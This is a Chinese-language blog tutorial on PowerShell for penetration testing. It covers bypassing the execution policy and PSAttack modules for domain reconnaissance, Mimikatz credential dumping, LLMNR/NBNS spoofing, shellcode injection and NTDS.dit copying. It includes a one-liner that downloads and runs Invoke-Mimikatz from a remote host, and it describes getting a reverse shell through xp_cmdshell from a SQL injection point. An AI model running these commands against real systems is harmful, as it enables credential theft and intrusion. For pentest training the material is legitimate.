查看原文
其他

Powershell 渗透测试技巧

ISEC实验室 计算机与网络安全 2022-06-01

一次性进群,长期免费索取教程,没有付费教程。

教程列表见微信公众号底部菜单

进微信群回复公众号:微信群;QQ群:16004488


一、Powershell介绍


Windows PowerShell 是微软公司为 Windows 环境所开发的壳程式(shell)及脚本语言技术,采用的是命令行界面,使命令行用户和脚本编写者可以利用 .NET Framework 的强大功能;你可以把它看成是命令提示符cmd.exe的扩充。


Powershell需要.net环境的支撑,同时支持.net对象,powershell当前有5个版本:1.0、2.0、3.0、4.0、5.0


在Windows 操作系统里,进入windows PowerShell点击:开始->运行->cmd,在命令行中输入PowerShell,进入windows PowerShell

如下图:


执行成功后如下图:


在Powershell中查看帮助信息可以使用help命令,如下图:

注:这里前面是命令缩写,后面是命令的全称;

如果我们想查看某个具体命令的帮助说明,可以使用Get-Help -Name命令,如下图:



二、Powershell的执行策略

 Powershell有以下四种脚本执行权限:


Powershell一般初始化情况下都会禁止脚本执行,脚本能否执行取决于Powershell的执行策略,只有管理员才有权限更改这个策略,非管理员会错,如下图:



查看脚本执行策略:



更改脚本执行策略:


三、Powershell脚本执行权限的绕过

由于在默认情况下,Powershell脚本需要管理员权限才可以执行起来,在实际的渗透过程中我们通常并不直接具有管理员权限,此时该如何执行Powershell脚本呢?


事实上,在Windows下有很多种方法可以绕过Powershell脚本执行的限制,这里针对实战中常用的几种方法做简要介绍。


我们首先新建一个 PS1脚本,内容如下:


1、从文件中读取脚本并通过PowerShell的标准输入来执行


具体说明:使用Windows的"type"命令或PowerShell的"Get-Content"命令来从磁盘读取你的脚本并输入到标准的PowerShell中,这种技术不会导致配置文件的更改,但是需要写入磁盘。


Example1:

Get-Content test.ps1 | PowerShell.exe -NoProfile


Example2:

Type  test.ps1 | PowerShell.exe -NoProfile –

2、从网络上下载脚本并通过IEX执行它


具体说明:这种技术可以用来从网上下载一个PowerShell脚本并执行它无需写入磁盘,它也不会导致任何配置更改


Example1:

PowerShell "IEX (New-Object Net.WebClient).DownloadString(‘http://www.a.com/Invoke-Mimikatz.ps1')”


3、使用编码命令绕过


Example1:



Example2:

4、使用"Bypass"参数

命令如下:

PowerShell.exe -ExecutionPolicy Bypass -File  .\test.ps1


注意以上命令只能在cmd下执行,如果进入Powershell环境运行会出现错误,如下图:



四、Powershell渗透实战

在github上有很多Powershell开发的渗透测试脚本,项目地址有:

https://github.com/PowerShellMafia/PowerSploit

https://github.com/Kevin-Robertson/Inveigh

https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView

https://github.com/besimorhino/powercat

https://github.com/jaredhaight/PSAttack

有兴趣的同学可以好好看看代码,今天这里重点介绍下PSAttack:

PSAttack是一款非常好的内网渗透测试工具,其集成了多个Powershell脚本,包括Powersploit、PowerTools、Nishang、Powercat等项目的脚本,在运行PSAttack过程中所有的powershell脚本均是载入内存运行的,不会在磁盘上留下任何脚本相关信息,这让我们在内网渗透测试的过程更加的方便快捷。


1、基本命令说明

我们在命令行下调用PSAttack,其启动过程如下图:


查看攻击模块,执行get-attack,如下图:

查看具体模块的详细说明,执行get-attack +模块名称,如下图列出了recon模块下的各种命令说明:


如果我们希望查看指定命令的使用样例,可以执行get-help+命令名称 –examples,如下图:


2、10种常用渗透指令说明

(1)Invoke-UserHunter

该命令可以查看当前用户可以登录的所有域内计算机,如下图:

(2)Invoke-Mimikatz


该命令常用于攫取内存明文密码,如下图:

执行Invoke-Mimikatz命令也可以指定远程计算机进行内存密码的抓取,如下图:

(3)Get-NetUser


该命令通过ADSI和LDAP.查询域中指定的用户或者用户组信息;如下图:

(4)Get-NetSubnet


该命令用于列举当前域中的所有子网信息;如下图:

(5)Invoke-Inveigh


该命令用于执行LLMNR/NBNS欺骗,如下图:

(6)Get-Inveigh


用于查看队列中的控制台输出,如下图:

(7)Stop-Inveigh


该命令用于停止运行的Inveigh函数

(8)powercat


该命令实现了netcat的功能,如下图:

(9)Invoke-Shellcode


注入shellcode代码,如下图:

(10)Invoke-NinjaCopy


 常用来从NTFS卷复制一些被某些进程以独占方式打开的文件,例如活动目录的NTDS.dit文件或系统的registry hives文件,如下图:


总体来说,PSAttack在域网络环境下确实是一款非常好的渗透测试工具,但大家可能也发现了由于PSAttack将各种Powershell脚本进行了封装,因此我们并不方便单独调用特定的模块,例如当我们在渗透测试过程中遇到库站分离的一个SA权限的盲注点,我们可能希望通过该注入点反弹回一个cmdshell,以确定数据库网络出口处的IP以及进行一些高级的交互操作(例如开终端服务等)。


在过去很多年以前,我们常规的做法是直接使用扩展过程xp_cmdshell去将ftp指令写入一个文件,然后再调用该文件下载nc之类的进行反弹。这种方法虽然可行,但操作较为麻烦,且会在服务器磁盘上创建文件,并且我们需要考虑nc的免杀,这对于新手来说确实会造成一定困扰。


但有了Powershell之后一切变得简单,我们只需要使用xp_cmdshell下载远程的PS1脚本回来执行即会反弹会一个shell,如下图(为了演示方便是直接在本机执行的,在注入点处执行类似):

小伙伴们,是不是感觉非常方便?但这个操作使用PSAttack的功能是没办法完成的,因此单独调用一些Powershell脚本在某些特殊的情况下效果甚佳;同样我们也可以调用远程PS1脚本来抓取远程计算机上的凭据,如下图:


甚至我们还可以使用Invoke-Shellcode脚本直接给远程主机注入Payload,再结合Metasploit Framework直接获得一个Meterpreter的shell。


静谧岁月弘扬传统文化,传承中华美德,传递正能量。

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存